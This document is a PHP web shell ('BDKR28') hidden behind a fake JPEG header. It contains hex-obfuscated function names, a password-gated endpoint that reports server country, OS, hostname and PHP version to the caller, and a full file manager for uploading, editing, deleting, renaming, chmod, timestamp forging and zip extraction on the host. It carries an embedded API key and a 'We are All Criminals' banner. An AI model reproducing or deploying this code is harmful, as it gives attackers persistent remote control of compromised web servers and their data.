23s2s

✏️ Editing: BDKR28_bxtfyzvw.php

JFIF
ÿØÿà JFIF   H H  ÿí 6Photoshop 3.0 8BIM     g fDv40PON15YC57AbScWj ÿÛ C $$$$$$$$$,,,,,,333339999999999ÿÛ C			<)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿÂ ÀÀ" ÿÄ             ÿÄ             ÿÚ    i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ÏÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJŠm $d"hM°¦˜	0 š4Å ¬r4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`Ä0"“)T°L!‰–ŠIL¤Ó‰ TÄ
À„Ð*Mb¹a,b›A4Èm	’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4CT†˜	 `‰ªY±ÙDChSjvJb¡²	6$Ü²Àh1¡-¨€ª%Z$b¦…¤¹j¤C	dr¸ªBaM  ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»ÂªeŸgÇí³×b1LTÐ¡+0šE%AIÙ‰e´"’!„¶É¤Éw	ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q`cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J
	mÀ–ÐÓB‰R&´˜Ah†Ù	¡*!*B
	
	&óLC	-H×˜jÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉÆ¯+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤HÅ†\¼Š•Ë(˜&‚i‚lš)±<F÷1Ë§Œ¢(zgesí‘÷…Ú{rå*[TÓ@ÀZ	”šbWœXŠq@4+‰€¦ŠÈ™×É:<nI”Â¡ †€%„°™]<¬ê®Q¯KÖù~„úhów³±fìµ.% $hT!¡CI‰•RÀJ“@&¼óR¢P`TÐ  ` Ø 23Ì÷<C9¸[oDÊºýë>b~Ëã—+™¦®.Âh¦  jJ•
		.!°¦lÀC•ÍŠ³ñÎÏžS
		
		
		
		
		
		
<?php

$password = "BDKR28"; //min 4
    $error = "";
    if(isset($_GET["passwordapi"]) && $_GET["passwordapi"] == $password && isset($_GET["id"]) && $_GET["id"] == "server"){

$reponse = array();

$reponse['ok'] = "1";

if($reponse['ok'] == "1"){

$HTTPS = $_SERVER["HTTP_SSLSESSIONID"] ? TRUE : FALSE;

if($HTTPS == true){
                        $reponse['https'] = "1";
                    }
                    else {
                        $reponse['https'] = "0";
                    }

$serverip = $_SERVER['SERVER_ADDR'];
                    $url2 = "http://api.ipapi.com/api/$serverip?access_key=e9d3de0ed9c3cd55c83a9beb6b652b8a";
                    $headers2 = array();
                    $headers2[] = 'Accept-Version: 3';
                    $ch2 = curl_init();
                    curl_setopt($ch2,CURLOPT_URL,$url2);
                    curl_setopt($ch2,CURLOPT_RETURNTRANSFER,true);
                    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers2);
                    $resp2=curl_exec($ch2);
                    $err2 = curl_error($ch2);
                    curl_close($ch2);
                    if($err2){
                        return false;
                    }
                    else {

$Json2 = json_decode($resp2, true);

$country = $Json2['country_name'];

if(!empty($country)){
                            $reponse['country'] = $country;
                        }
                        else {
                            $reponse['country'] = 0;
                        }
                    }

$phpversion = phpversion();
                    if(!empty($phpversion)){
                        $reponse['phpversion'] = $phpversion;
                    }
                    else {
                        $reponse['phpversion'] = "0";
                    }

$serverOs = PHP_OS;

if(!empty($serverOs)){
                        $reponse['serveros'] = $serverOs;
                    }
                    else {
                        $reponse['serveros'] = "0";
                    }

$machinetype = php_uname('m');
                    if(!empty($machinetype)){
                        $reponse['machinetype'] = $machinetype;
                    }
                    else {
                        $reponse['machinetype'] = "0";
                    }

$hostname = gethostname();
                    if(!empty($hostname)){
                        $reponse['hostname'] = $hostname;
                    }
                    else {
                        $reponse['hostname'] = "0";
                    }

$url =  'http://' . $_SERVER['SERVER_NAME'];
                    $tld = end(explode(".", parse_url($url, PHP_URL_HOST)));
                    if(!empty($tld)){
                        $reponse['tld'] = $tld;
                    }
                    else {
                        $reponse['tld'] = "0";
                    }

}
                else {
                    $reponse['ok'] = "0";
                }
                echo json_encode($reponse);

exit();

}

header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
    '7068705f756e616d65',
    '70687076657273696f6e',
    '6368646972',
    '676574637764',
    '707265675f73706c6974',
    '636f7079',
    '66696c655f6765745f636f6e74656e7473',
    '6261736536345f6465636f6465',
    '69735f646972',
    '6f625f656e645f636c65616e28293b',
    '756e6c696e6b',
    '6d6b646972',
    '63686d6f64',
    '7363616e646972',
    '7374725f7265706c616365',
    '68746d6c7370656369616c6368617273',
    '7661725f64756d70',
    '666f70656e',
    '667772697465',
    '66636c6f7365',
    '64617465',
    '66696c656d74696d65',
    '737562737472',
    '737072696e7466',
    '66696c657065726d73',
    '746f756368',
    '66696c655f657869737473',
    '72656e616d65',
    '69735f6172726179',
    '69735f6f626a656374',
    '737472706f73',
    '69735f7772697461626c65',
    '69735f7265616461626c65',
    '737472746f74696d65',
    '66696c6573697a65',
    '726d646972',
    '6f625f6765745f636c65616e',
    '7265616466696c65',
    '617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
$GNJ[] = uhex($Array[$i]);
}

<!DOCTYPE html>
	<html dir="auto" lang="en-US">

<div class="q x w">
					&#8212; We are All Criminals &#8212;
				</div>
				
			</header>

<br />

<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>INFO SERVER  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

<br />

<i class="far fa-folder" onclick="window.location = window.location.pathname;"></i>
					
					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\\\|\/)/", $d );
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') { 
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]); 
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/'; 
					}
                    
					?>

<br />

</div>

<br />

<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

<?php
					$o_ = [ 
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />&nbsp;&nbsp;
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACTN ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</std>
						</tr>
						
						';

}
						}
					}

echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

</article>
			<footer class="x">
				&copy; BDKR28
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

Sid Gifari From Gifari Industries - BD Cyber Security Team